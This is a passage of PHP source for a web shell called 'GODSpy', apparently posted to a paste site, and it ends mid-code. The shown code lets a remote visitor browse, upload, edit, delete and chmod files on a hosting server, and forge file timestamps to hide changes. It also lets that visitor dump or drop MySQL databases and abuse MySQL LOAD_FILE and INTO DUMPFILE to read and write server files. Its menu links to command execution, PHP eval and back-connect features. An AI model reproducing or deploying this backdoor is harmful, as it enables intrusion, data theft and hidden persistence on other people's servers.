· 7 years ago · Oct 04, 2018, 07:30 PM
1<?PHP
2error_reporting(0);
3@set_magic_quotes_runtime(0);
4@set_time_limit(0);
5@ini_set('max_execution_time', 0);
6@ini_set('memory_limit', '256M');
7define('F_ROOT', FixDS(($cwd = @getcwd()) ? $cwd : dirname(__FILE__)));
8define('S_ROOT', $_SERVER['DOCUMENT_ROOT'] ? FixDS($_SERVER['DOCUMENT_ROOT']) : F_ROOT);
9define('IS_WIN',DIRECTORY_SEPARATOR=='\\');
10define('IS_COM',IS_WIN&&(class_exists('COM')&&!preg_match('#\bcom\b#i',@ini_get('disable_clasess'))));
11define('SELF',url());
12define('SVH',str_replace('www.','',$_SERVER['HTTP_HOST']));
13define('MI',isF('mysqli_connect'));
14define('SQF','mysql'.(MI?'i':'').'_');
15foreach(array('charset','ctr','dir','ok','haz','ir','vw','ex','em') as $v) $$v='';
16foreach($_REQUEST as $k => $v) $$k = SR($v);
17$qf = array('a' => SQF.'connect','c' => SQF.'close','e' => SQF.'error','f' => SQF.'fetch_assoc','i' => SQF.'get_server_info',
18'l' => SQF.'affected_rows','m' => SQF.'num_rows','n' => SQF.'num_fields','r' => SQF.'fetch_row','s' => SQF.'select_db');
19pasa();
20$CHAR = $charset ? ($charset=='utf8'?'utf-8':'iso-8859-1') : 'iso-8859-1';
21if($charset) header("content-Type: text/html; charset=".$CHAR);
22$cwd = ($dir&&@is_dir($dir)) ? FixDS($dir) : F_ROOT;
23ob_start();
24if($haz=='phpinfo'){
25if(isF('phpinfo')){
26phpinfo();
27die('<h1 style="text-align:center"><a href="'.SELF.'">Back to GodSpy</a></h1>');
28} else $em='Funcion phpinfo() Deshabilitada';
29}
30if($doing=='downfile'&&$thefile){
31if(!@file_exists($thefile)){
32$em = 'El archivo que intentas descargar no existe';
33} else {
34$fileinfo = pathinfo($thefile);
35header('Content-type: application/x-'.$fileinfo['extension']);
36header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
37header('Content-Length: '.filesize($thefile));
38@readfile($thefile);
39die;
40}
41}
42if($doing=='downrar'){
43if($dl){
44$dfiles='';
45foreach($dl as $filepath => $value) $dfiles.=$filepath.',';
46$dfiles=substr($dfiles,0,strlen($dfiles)-1);
47$dl=explode(',',$dfiles);
48$zip=new PHPZip($dl);
49$code=$zip->out;
50header('Content-type: application/octet-stream');
51header('Accept-Ranges: bytes');
52header('Accept-Length: '.strlen($code));
53header('Content-Disposition: attachment;filename='.SVH.'_'.basename($cwd).'.tar.gz');
54echo $code;
55die;
56} else {
57$em = 'Please select file(s)';
58}
59}
60if($doing=='backupmysql'){
61if(!$table) $em='Error: Selecciona una tabla';
62else {
63$lnk=db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
64$table = array_flip($table);
65if($result = q("SHOW tables",$lnk)){
66if($svf){
67if($fp = @fopen($path,'w')){
68while($currow = $qf['r']($result)){if(isset($table[$currow[0]])) sqldump($currow[0], $fp);}
69fclose($fp);
70$fileurl = str_replace(S_ROOT,'/',$path);
71$ok = 'El backup de la Base de Datos fue guardado en: <a href="'.$fileurl.'" target="_blank">'.$path.'</a>';
72} else $em = 'Error: La ruta especificada no tiene permisos de escritura.';
73} else {
74$filename = SVH.'_'.$dbname.'.sql';
75header('Content-type: text/sql');
76header('Content-Disposition: attachment; filename='.$filename);
77while($currow = $qf['r']($result)){if(isset($table[$currow[0]])) sqldump($currow[0]);}
78$qf['c']($lnk);
79die;
80}
81} else $em='Error: '.$qf['e']($lnk);
82if($lnk) $qf['c']($lnk);
83}
84}
85if($doing=='mysqldown'){
86$down = 0;
87$lnk = db($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
88if(($res = q("SELECT load_file('$mysqldlfile');", $lnk))&&($row = @$qf['r']($res))){
89if(empty($row[0])) $em .= 'Error al leer archivo con load_file: MySQL retorna NULL<br />';
90else $down = 1;
91} else $em .= 'LOAD_FILE Error: '.$qf['e']($lnk).'<br />'.(!$dbname?'Intenta de nuevo espeificando una DB.<br />':'');
92if(!$down&&$dbname){
93$tm = time();
94q("DROP TABLE IF EXISTS tmp_god;",$lnk);
95q("CREATE TABLE tmp_god (content LONGBLOB NOT NULL);",$lnk);
96q("LOAD DATA LOCAL INFILE '$mysqldlfile' INTO TABLE tmp_god FIELDS TERMINATED BY '__god_{$tm}_eof__' ESCAPED BY '' LINES TERMINATED BY '__god_{$tm}_eof__';",$lnk);
97if(($res = q("SELECT content from tmp_god", $lnk))&&($row = @$qf['r']($res))) empty($row[0]) ? $em.='Error con tabla Temporal: MySQL retorna NULL<br />' : $down = 1;
98else $em .= 'Error usando tabla temporal: '.$qf['e']($lnk);
99q("DROP TABLE tmp_god",$lnk);
100}
101if($down){
102$qf['c']($lnk);
103$file = pathinfo($mysqldlfile);
104header('Content-type: application/x-'.$file['extension']);
105header('Content-Disposition: attachment; filename='.$file['basename']);
106header("Accept-Length: ".strlen($row[0]));
107echo $row[0];
108die;
109} else $qf['c']($lnk);
110}
111if(!$haz&&$ir&&$new){
112if($ir=='newf'){
113$opfile = $cwd.basename($new);
114if(file_exists($opfile)&&!is_dir($opfile)) $haz = 'editfile';
115elseif(SV($opfile,'')){$haz = 'editfile';$ok="Archivo $opfile creado correctamente. Ahora puedes editarlo.";}
116else $em='Error: No fue posible crear el archivo.';
117}
118if($ir=='newdir'){
119$new = $cwd.$new;
120if(file_exists($new)) $em="Error: El directorio $new ya existe";
121elseif(@mkdir($new,0777)){@chmod($new,0777);$ok="Directorio $new creado correctamente.";}
122else $em="No fue posible crear el directorio.";
123}
124if($ir=='newperm'){
125if(!file_exists($cwf)) $em="Error: El archivo $cwf no existe.";
126else @chmod($cwf, octdec($new)) ? $ok="CHMOD $cwf: Permisos cambiados corecctamente a $new." : $em="CHMOD $new: Error, acceso denegado.";
127}
128if($ir=='copy'){
129$new = (basename($new)==$new) ? $cwd.$new : $new;
130if(file_exists($new)||!file_exists($cwf)) $em='Error: El archivo de destino ya existe o el original no existe.';
131else @copy($cwf, $new) ? $ok=basename($cwf).' fue copiado a '.$new : $em='Copiar '.basename($cwf).': Error, acceso denegado.';
132}
133if($ir=='rename'){
134$new = $cwd.$new;
135if(file_exists($new)||!file_exists($cwf)) $em='Error: '.$new.' ya existe o el archivo original no existe';
136else @rename($cwf,$new) ? $ok='Archivo '.basename($cwf).' renombrado a '.basename($new).' correctamente' : $em='RENAME Error: Acceso denegado.';
137}
138if($ir=='newtime'){
139$time = 0;
140if(preg_match('#^[0-9]+-[0-9]+-[0-9]+ [0-9]+\:[0-9]+\:[0-9]+$#',$new)) $time = strtotime($new);
141else {$new=(basename($new)==$new)?$cwd.$new:$new;if(@file_exists($new)) $time = filemtime($new);}
142if($time&&file_exists($cwf)) @touch($cwf,$time) ? $ok="Fecha de creación cambiada correctamente." : $em='Error: Permiso denegado.';
143else $em='Error: El formato de fecha especificado es incorrecto o el archivo de referencia no existe.';
144}
145}
146if($haz=='sqlf'||$haz=='sqladmin'){
147$charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
148!isset($dbhost)&&$dbhost = '127.0.0.1';
149!isset($dbuser)&&$dbuser = 'root';
150!isset($dbport)&&$dbport = '3306';
151}
152?>
153<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
154<html xmlns="http://www.w3.org/1999/xhtml">
155<head>
156<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $CHAR?>" />
157<meta name="robots" content="noindex, nofollow, noarchive" />
158<title><?php echo SVH;?> | GODSpy</title>
159<style type="text/css">
160body{margin:0;}
161body,td,.input,.bt{font:12px Verdana,Arial;}
162td{line-height:16px;}.input{line-height:22px;}
163.input,.area{background:#FFF;border:1px solid #666;padding:3px;}
164.area,pre{font:13px Consolas,'Courier New',Monospace;overflow:auto;text-align:left;}
165.bt{border:#090 1px solid;background:#555;color:#FFF;height:22px;}
166a {color:#03F;}*:focus{outline:none;}
167a:hover{text-decoration:none;border-bottom:1px dashed #F09;}
168.w{color:green;font-weight:bold;}.r{color:red;}
169.alt1 td, .alt2 td, .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;padding:5px 10px 5px 5px;}
170.head td,.f{background:#e9e9e9;border-top:#BBB 1px solid;}
171.alt1{background:#f1f1f1;}.alt2{background:#f9f9f9;}
172.fm tr:hover{background:#CF9;}
173form, h2{margin:0;padding:0;}
174h2{line-height:26px;font-size:14px;color:#555;}
175.info li{color:#444;line-height:22px;}
176u{text-decoration:none;float:left;display:block;width:150px;margin-right:9px;}
177.e,.m,.f {padding:10px;text-align:center;font-weight:bold;}
178.e {background:#FFC;border:1px solid #F30;}
179.m {background:#CFA;border:1px solid #0C3;}
180.nw{white-space:nowrap;}
181</style>
182<script type="text/javascript"><!--
183function $(id){return document.getElementById(id);}
184function gohaz(act){
185$('gohaz').haz.value=act;
186$('gohaz').submit();
187}
188function CHK(f){
189for(var i=0;i<f.elements.length;i++){
190var e=f.elements[i];
191if(e.name != 'chk'&&e.name != 'svf')
192e.checked = f.chk.checked;
193}
194}
195<?php if($haz=='file'||!$haz){?>
196var okd = 'Realmente deseas eliminar este directorio?\n\nSi contiene archivos, tambien seran eliminados.',okf='Confirmas eliminar este archivo?';
197function donew(act,f){
198var re,q;
199if(act=='newdir') q='Nombre del directorio:';
200else if(act=='newperm') q='Cambiar permisos de: '+f+'\nEscribe el nuevo atributo (ejemplo 0777):';
201else if(act=='newtime') q='Escribe la nueva fecha en formato yyyy-mm-dd HH:MM:SS o un archivo de referencia:\nEjemplo: 2009-11-20 23:05:10 o /home/user/algo.txt';
202else if(act=='rename') q='Renombrar: '+f+'\nEscribe el nuevo nombre:';
203else if(act=='copy') q='Copiar archivo: '+f+'\nCopiar a (ruta completa para copiar a otro directorio):';
204else if(act=='newf') q='Nombre de archivo:';
205re = prompt(q,'');
206if(!re||!act) return;
207$('ir').value=act;
208$('new').value=re;
209if(f)$('cwf').value=f;
210$('donew').submit();
211}
212function dofile(doing,thefile,m){
213if(m&&!confirm(m)){return;}
214$('filelist').doing.value=doing;
215if(thefile){
216$('filelist').thefile.value=thefile;
217}
218$('filelist').submit();
219}
220function opfile(haz,opfile,dir){
221$('fileopform').haz.value=haz;
222$('fileopform').opfile.value=opfile;
223$('fileopform').dir.value=dir;
224$('fileopform').submit();
225}
226function godir(d,w){
227if(w){
228$('godir').vw.value=1;
229}
230$('godir').dir.value=d;
231$('godir').submit();
232}
233<?php }if($haz=='sqlf'){?>
234function mysqlfile(d){
235if(!d) return;
236$("mysqlfile").doing.value=d;
237$("mysqlfile").dbhost.value=$('dbhost').value;
238$("mysqlfile").dbport.value=$('dbport').value;
239$("mysqlfile").dbuser.value=$('dbuser').value;
240$("mysqlfile").dbpass.value=$('dbpass').value;
241$("mysqlfile").dbname.value=$('dbname').value;
242$("mysqlfile").submit();
243}
244<?php }if($haz=='sqladmin'){?>
245function editrecord(haz, base64, tablename){
246if(haz=='del'){if(!confirm('\xbfDeseas eliminar esta entrada?')) return;}
247$('recordlist').doing.value=haz;
248$('recordlist').base64.value=base64;
249$('recordlist').tablename.value=tablename;
250$('recordlist').submit();
251}
252function moddbname(dbname){
253if(!dbname) return;
254$('setdbname').dbname.value=dbname;
255$('setdbname').submit();
256}
257function settable(t,d,p){
258if(!t) return;
259if(d){
260var c = d=='drop' ? 'eliminar' : (d=='del' ? 'vaciar' : false);
261if(c&&!confirm('\xbfRealmente quieres '+c+' esta Tabla?')) return;
262$('settable').doing.value=d;
263}
264if(p){
265$('settable').page.value=p;
266}
267$('settable').tablename.value=t;
268$('settable').submit();
269}
270<?php }?>
271//--></script>
272</head>
273<body>
274<table width="100%" border="0" cellpadding="0" cellspacing="0">
275<tr class="head">
276<td><span style="float:right;"><b>GODSpy Ver: <?php echo date('Y');?></b></span><b>Tu IP:</b> <?php echo $_SERVER['REMOTE_ADDR'] . ' | <b>Server:</b> '.SVH.' ('.@gethostbyname($_SERVER['SERVER_NAME']).')'.(isF('php_uname')?' - '.@php_uname():'');?></td>
277</tr>
278<tr class="alt1">
279<td><span style="float:right;">Safe Mode: <?php echo getcfg('safe_mode');?></span>
280<a href="javascript:gohaz('salir');">Salir</a> | <a href="<?php echo SELF;?>">File Manager</a> | <a href="javascript:gohaz('sqladmin');">MySQL Manager</a> | <a href="javascript:gohaz('sqlf');">MySQL Upload & Download</a> | <a href="javascript:gohaz('sh');">Ejecutar Comando</a> | <a href="javascript:gohaz('env');">PHP Variable</a> | <a href="javascript:gohaz('evl');">Eval PHP Code</a> <?php if(!IS_WIN){ ?>| <a href="javascript:gohaz('bconx');">Back Connect</a> <?php }?>| <a href="javascript:gohaz('se');">Search Engine</a>
281</td>
282</tr>
283</table>
284<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
285<?php
286formhead('gohaz');
287noseve('haz');noseve('dir',$cwd);
288p("</form>");
289$em&&m($em,'e');$ok&&m($ok);
290if(!$haz||$haz=='file'){
291if($doing=='deldir'&&$thefile){
292if(!file_exists($thefile)) m("El Directorio $thefile no existe.",'e');
293else deltree($thefile) ? m('El Directorio '.basename($thefile).' fue eliminado.') : m('Eliminar Directorio '.basename($thefile).': ERROR','e');
294} elseif($doing=='delf'&&$thefile){
295if(!file_exists($thefile)) m("Error: $thefile no existe",'e');
296else @unlink($thefile) ? m("El archivo $thefile fue eliminado.") : m("Eliminar $thefile: Acceso denegado.",'e');
297} elseif($doup){
298if(!$_FILES['up']['name']) m('Error: Ningún archivo por subir','e');
299else {
300$up = $_FILES['up'];$ul = $cwd.$up['name'];
301if(@move_uploaded_file($up['tmp_name'],$ul)) m('Archivo subido correctamente a: '.$ul);
302else {@unlink($up['tmp_name']);m('No fue posible subir el archivo','e');}
303}
304} elseif($edit&&$fcontent){
305if(!IS_WIN) $fcontent=str_replace("\r",'',$fcontent);
306SV($edit, $fcontent) ? m("Archivo guardado correctamente.") : m('Error: El archivo no tiene permisos de escritura.','e');
307} elseif($doing=='delfiles'){
308if($dl){
309$dfiles='';
310$succ = $fail = 0;
311foreach ($dl as $filepath => $value){
312if(@unlink($filepath)) $succ++;
313else $fail++;
314}
315m('Eliminar '.count($dl).' archivos: <span class="w">OK '.$succ.'</span> - <span class="r">ERROR '.$fail.'</span>','e');
316} else {
317m('Error: Nada que eliminar.','e');
318}
319}
320formhead('donew');
321noseve('ir" id="ir');
322noseve('new" id="new');
323noseve('cwf" id="cwf');
324noseve('dir',$cwd);
325p('</form>');
326formhead('fileopform');
327noseve('haz');
328noseve('opfile');
329noseve('dir');
330p('</form>');
331$free = isF('disk_free_space') ? @disk_free_space($cwd) : 0;
332!$free&&$free = 0;
333$all = isF('disk_total_space') ? @disk_total_space($cwd) : 0;
334!$all&&$all = 0;
335$used = $all-$free;
336$used_percent = @round(100/($all/$free),2);
337p('<h2>File Manager - Espacio Libre: '.sizecount($free).' de '.sizecount($all).' ('.$used_percent.'%)</h2>');
338?>
339<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
340<form action="<?php echo SELF;?>" method="post" id="godir">
341<tr>
342<td class="nw">Directorio Actual (<?php p('<span class="'.(@is_writable($cwd)?'w">Writable':'r">Non-writable').'</span>, '.getChmod($cwd).')');?></td>
343<td width="75%"><input class="input" name="dir" value="<?php echo $cwd;?>" type="text" style="width:96%;margin:0 8px;" /></td>
344<td><input name="vw" value="0" type="hidden" /><input class="bt" value="Ir »" type="submit" /></td>
345</tr>
346</form>
347</table>
348<?php
349tbhead(' class="fm"');
350p('<tr class="head"><td colspan="7" style="padding:5px;">');
351p('<div style="float:right;"><form action="'.SELF.'" method="post" enctype="multipart/form-data"><input name="up" value="" type="file" /> <input class="bt" value="Upload" type="submit" /><input name="doup" value="1" type="hidden" /><input name="dir" value="'.$cwd.'" type="hidden" /></form></div>');
352p('<a href="javascript:godir(\''.S_ROOT.'\');">WebRoot</a>');
353if($vw){
354p(' | <a href="javascript:godir(\''.$cwd.'\');">View All</a>');
355} else {
356p(' | <a href="javascript:godir(\''.$cwd.'\',\'1\');">View Writable</a>');
357}
358p(' | <a href="javascript:donew(\'newdir\')">Crear Directorio</a> | <a href="javascript:donew(\'newf\')">Crear Archivo</a>');
359if(IS_COM){
360$obj = new COM('scripting.filesystemobject');
361if($obj&&is_object($obj)){
362$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
363foreach($obj->Drives as $drive){
364if($drive->DriveType==2){
365p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
366} else {
367p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
368}
369}
370}
371}
372p('</td></tr>');
373p('<tr class="head"><td> </td><td>Nombre</td><td width="16%">Last modified</td><td width="10%">Tamaño</td><td width="20%">Chmod / User</td><td width="22%">Acción</td></tr>');
374$dirdata=array();
375$filedata=array();
376if($vw){
377$dirdata = GetList($cwd);
378} else {
379$dirs=@opendir($cwd);
380while($file=@readdir($dirs)){
381$filepath=$cwd.$file;
382if(@is_dir($filepath)){
383$dirdb['filename']=htm($file);
384$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
385$dirdb['dirchmod']=getChmod($filepath);
386$dirdb['dirperm']=getPerms($filepath);
387$dirdb['fileowner']=getUser($filepath);
388$dirdb['flink']=htm($filepath);
389$dirdata[]=$dirdb;
390} else {
391$filedb['filename']=htm($file);
392$filedb['size']=sizecount(@filesize($filepath));
393$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
394$filedb['filechmod']=getChmod($filepath);
395$filedb['fileperm']=getPerms($filepath);
396$filedb['fileowner']=getUser($filepath);
397$filedb['dirlink']=htm($cwd);
398$filedb['flink']=htm($filepath);
399$filedb['link']=htm(str_replace(S_ROOT,'/',$filepath));
400$filedata[]=$filedb;
401}
402}
403unset($dirdb,$filedb);
404@closedir($dirs);
405}
406@sort($dirdata);
407@sort($filedata);
408$dir_i = '0';
409foreach($dirdata as $key => $dirdb){
410if($dirdb['filename']!='..'&&$dirdb['filename']!='.'){
411$tbg = bg();
412$dirjs = str_replace(''',"\'",$dirdb['flink']);
413p('<tr class="'.$tbg.'">');
414p('<td width="2%" class="nw"></td>');
415p('<td><a href="javascript:godir(\''.$dirjs.'\');">'.$dirdb['filename'].'</a></td>');
416p('<td class="nw">'.$dirdb['mtime'].'</td>');
417p('<td class="nw">--</td>');
418p('<td class="nw"><a href="javascript:donew(\'newperm\',\''.$dirjs."')\">{$dirdb['dirchmod']} / {$dirdb['dirperm']}</a>{$dirdb['fileowner']}</td>");
419p('<td class="nw"><a href="javascript:dofile(\'deldir\',\''.$dirjs."',okd)\">Del</a> | <a href=\"javascript:donew('rename','$dirjs');\">Rename</a></td>");
420p('</tr>');
421$dir_i++;
422} else {
423if($dirdb['filename']=='..'){
424p('<tr class="'.bg().'">');
425p('<td style="text-align:center;font:16px \'Wingdings 3\';">UP</td><td class="nw" colspan="5"><a href="javascript:godir(\''.dirname($cwd).'/\');">Ir al directorio Superior</a></td>');
426p('</tr>');
427}
428}
429}
430p('<tr><td style="background:#555;height:3px;" colspan="6"> </td></tr>');
431p('<form id="filelist" name="filelist" action="'.SELF.'" method="post">');
432noseve('haz','file');
433noseve('thefile');
434noseve('doing');
435noseve('dir',$cwd);
436$file_i = '0';
437foreach($filedata as $key => $filedb){
438if($filedb['filename']!='..'&&$filedb['filename']!='.'){
439$thisbg = bg();
440$filjs = str_replace(''',"\'",$filedb['flink']);
441$dirjs = str_replace(''',"\'",$filedb['dirlink']);
442p('<tr class="'.$thisbg.'">');
443p('<td width="2%" class="nw"><input type="checkbox" value="1" name="dl['.$filedb['flink'].']" /></td>');
444p('<td><a href="'.$filedb['link'].'" target="_blank">'.$filedb['filename'].'</a></td>');
445p('<td class="nw">'.$filedb['mtime'].'</td>');
446p('<td class="nw">'.$filedb['size'].'</td>');
447p('<td class="nw">');
448p('<a href="javascript:donew(\'newperm\',\''.$filjs.'\');">'.$filedb['filechmod'].' / '.$filedb['fileperm'].'</a>');
449p($filedb['fileowner'].'</td>');
450p('<td class="nw">');
451p('<a href="javascript:dofile(\'downfile\',\''.$filjs.'\');">Down</a> | ');
452p('<a href="javascript:donew(\'copy\',\''.$filjs.'\');">Copy</a> | ');
453p('<a href="javascript:opfile(\'editfile\',\''.$filjs.'\',\''.$dirjs.'\');">Edit</a> | ');
454p('<a href="javascript:dofile(\'delf\',\''.$filjs.'\', okf)" title="Delete">Del</a> | <a href="javascript:donew(\'rename\',\''.$filjs.'\')" title="Rename">Ren</a> | ');
455p('<a href="javascript:donew(\'newtime\',\''.$filjs.'\');">Time</a>');
456p('</td></tr>');
457$file_i++;
458}
459}
460p('<tr class="head"><td align="center"><input name="chk" value="on" type="checkbox" onclick="CHK(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Pack & download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
461p('</form></table>');
462} elseif($haz=='sqlf'){
463if($doing=="mysqlupload"){
464if(!$_FILES['up']['name']) m('Error: Ningún archivo por subir.','e');
465else {
466$up = $_FILES['up'];
467if(@is_dir($savepath)) $savepath .= str_replace(' ','',$up['name']);
468if(@file_exists($savepath)) m('Error: El archivo de destino ya existe.','e');
469else {
470$contents = bin2hex(GF($up['tmp_name']));
471$lnk = db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
472$result = q("SELECT 0x{$contents} INTO DUMPFILE '$savepath';", $lnk);
473$result ? m('Archivo subido correctamente a: '.$savepath) : m('Error al subir el archivo: '.$qf['e']($lnk),'e');
474$qf['c']($lnk);
475}
476@unlink($up['tmp_name']);
477}
478}
479formhead('dbinfo','MYSQL Information');
480noseve('haz','sqlf');
481p('<p>DBHost:');
482mkinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
483p(':');
484mkinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
485p('DBUser:');
486mkinput(array('name'=>'dbuser','size'=>15,'value'=>htm($dbuser)));
487p('DBPass:');
488mkinput(array('name'=>'dbpass','size'=>15,'value'=>htm($dbpass)));
489p('DBName:');
490mkinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
491p('DBCharset:');
492mkselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
493p("</p>\n</form>");
494formhead('mysqlfile" enctype="multipart/form-data');
495p("<h2>MySQL Upload y Download:</h2>\n<p><b>Se requiere que el Usuario MySQL tenga el privilegio FILE</b></p>");
496p('<p>Guardar en (fullpath): <input class="input" name="savepath" value="'.F_ROOT.'" size="45" type="text" /> Selecciona un archivo: <input name="up" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Subir</a></p>');
497p('<h2>Descargar Archivos:</h2>');
498p('<p>Nombre de Archivo: <input class="input" name="mysqldlfile" size="115" type="text" value="'.$mysqldlfile.'" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
499noseve('dbhost');
500noseve('dbport');
501noseve('dbuser');
502noseve('dbpass');
503noseve('dbname');
504noseve('charset',$charset);
505noseve('doing');
506noseve('haz','sqlf');
507p('</form>');
508}
509elseif($haz=='sqladmin'){
510foreach(array('tablename','dbname','sql_query','page','insert','update','dbpass') as $v) if(!isset($$v)) $$v='';
511$lnk = isset($dbhost,$dbuser,$dbpass,$connect) ? db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport) : 0;
512$dbform = '<input type="hidden" id="connect" name="connect" value="1" /><input type="hidden" id="dbhost" name="dbhost" value="'.$dbhost.'" />'.
513"\n<input type=\"hidden\" name=\"dbuser\" value=\"$dbuser\" />\n<input type=\"hidden\" name=\"dbport\" value=\"$dbport\" />\n";
514if($dbpass) $dbform .= "<input type=\"hidden\" name=\"dbpass\" value=\"$dbpass\" />\n";
515if($dbname) $dbform .= "<input type=\"hidden\" name=\"dbname\" value=\"$dbname\" />\n";
516if($charset) $dbform .= "<input type=\"hidden\" name=\"charset\" value=\"$charset\" />\n";
517if($insert&&$insertsql){
518$keystr = $valstr = $tmp = '';
519foreach($insertsql as $key => $val){
520if($val){
521$keystr .= $tmp.$key;
522$valstr .= $tmp."'".addslashes($val)."'";
523$tmp = ',';
524}
525}
526if($keystr&&$valstr){
527q("INSERT INTO $tablename ($keystr) VALUES ($valstr)",$lnk)?m('INSERT: Datos insertados correctamente'):m('Error: '.$qf['e']($lnk),'e');
528}
529}
530if($update&&$insertsql&&$base64){
531$valstr = $tmp = '';
532foreach($insertsql as $key => $val){
533$valstr .= $tmp.$key."='".addslashes($val)."'";
534$tmp = ',';
535}
536if($valstr){
537$where = $A[6]($base64);
538q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1",$lnk)?m('UPDATE: Datos Actualizados correctamente'):m('Error: '.$qf['e']($lnk),'e');
539}
540}
541if($tablename&&in_array($doing,array('del','drop','optimize'))){
542$where = $base64 ? ' WHERE '.$A[6]($base64) : '';
543$sql = ($doing=='del'?"DELETE FROM":($doing=='drop'?"DROP":"OPTIMIZE")." TABLE");
544if(q($sql." {$tablename}{$where}",$lnk)){m("$sql: Consulta ejecutada correctamente en la tabla $tablename");if(!$where)$tablename = '';}
545else m('Error: '.$qf['e']($lnk),'e');
546}
547formhead('sql','MYSQL Manager');
548noseve('haz','sqladmin');
549p('<p>DBHost:');mkinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
550p(':');mkinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
551p('DBUser:');mkinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
552p('DBPass:');mkinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
553p('DBCharset:');
554mkselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
555noseve('connect',1);
556p('<input type="submit" class="bt" value="Conectar" />'."</p>\n</form>");
557if($lnk){
558formhead('recordlist');
559noseve('doing');
560noseve('haz','sqladmin');
561noseve('base64');
562noseve('tablename');
563p($dbform."</form>");
564formhead('setdbname');
565noseve('haz','sqladmin');
566p($dbform);
567if(!$dbname) noseve('dbname');
568p('</form>');
569formhead('settable');
570noseve('haz','sqladmin');
571p($dbform);
572noseve('tablename');
573noseve('page',$page);
574noseve('doing');
575p('</form>');
576$cachetables = array();
577$pagenum = 30;
578$page = intval($page);
579if($page){
580$start_limit = ($page - 1) * $pagenum;
581} else {
582$start_limit = 0;
583$page = 1;
584}
585$QT = array(1=>'tinyint',2=>'smallint',3=>'int',4=>'float',5=>'double',7=>'timestamp',8=>'bigint',9=>'mediumint',10=>'date',11=>'time',
58612=>'datetime',13=>'year',16=>'bit',252=>'text',253=>'varchar',254=>'char',246=>'decimal');
587$mysqlver = $qf['i']($lnk);
588p('<form id="setdbname" method="post" action="'.SELF."\">\nMySQL $mysqlver running in $dbhost as {$dbuser}@{$dbhost} - ");
589$highver = ($mysqlver > '4.1')?1:0;
590$query = q("SHOW DATABASES",$lnk);
591$dbs = array();
592$dbs[] = '-- Selecciona una Base de Datos --';
593while($db = $qf['f']($query)){
594$dbs[$db['Database']] = $db['Database'];
595}
596mkselect(array('title'=>'<b>Base de Datos:</b>','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)'));
597p('</form>');
598$tabledb = array();
599if($dbname){
600p('<p>');
601p('Base de Datos: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.' »</a>');
602if($tablename){
603p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insertar</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Estructura</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Eliminar</a> ]');}
604p('</p>');
605MI ? $qf['s']($lnk,$dbname) : $qf['s']($dbname,$lnk);
606$getnumsql = '';$runquery = 0;
607if($sql_query){
608$runquery = 1;
609}
610$allowedit = 0;
611if($tablename&&!$sql_query){
612$sql_query = "SELECT * FROM $tablename";
613$getnumsql = $sql_query;
614$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
615$allowedit = 1;
616}
617p('<div style="margin:5px;"><form action="'.SELF.'" method="post">');
618p('<p>Ejecutar consultas SQL en la DB <b>'.$dbname.'</b>:</p><p><textarea name="sql_query" class="area" style="width:750px;height:50px">'.htm($sql_query).'</textarea><input class="bt" style="margin:4px;vertical-align:top;height:50px" type="submit" value="Query" />');
619noseve('tablename', $tablename);
620noseve('haz','sqladmin');
621p($dbform);
622p('</p></form></div>');
623if($tablename||($runquery&&$sql_query)){
624if($doing=='structure'){
625$result = q("SHOW COLUMNS FROM $tablename",$lnk);
626$rowdb = array();
627while($row = $qf['f']($result)){
628$rowdb[] = $row;
629}
630p('<table border="0" cellpadding="3" cellspacing="0">');
631p('<tr class="head">');
632p('<td>Field</td>');
633p('<td>Type</td>');
634p('<td>Null</td>');
635p('<td>Key</td>');
636p('<td>Default</td>');
637p('<td>Extra</td>');
638p('</tr>');
639foreach ($rowdb as $row){
640$thisbg = bg();
641p('<tr class="'.$tbg.'">');
642p('<td>'.$row['Field'].'</td>');
643p('<td>'.$row['Type'].'</td>');
644p('<td>'.$row['Null'].' </td>');
645p('<td>'.$row['Key'].' </td>');
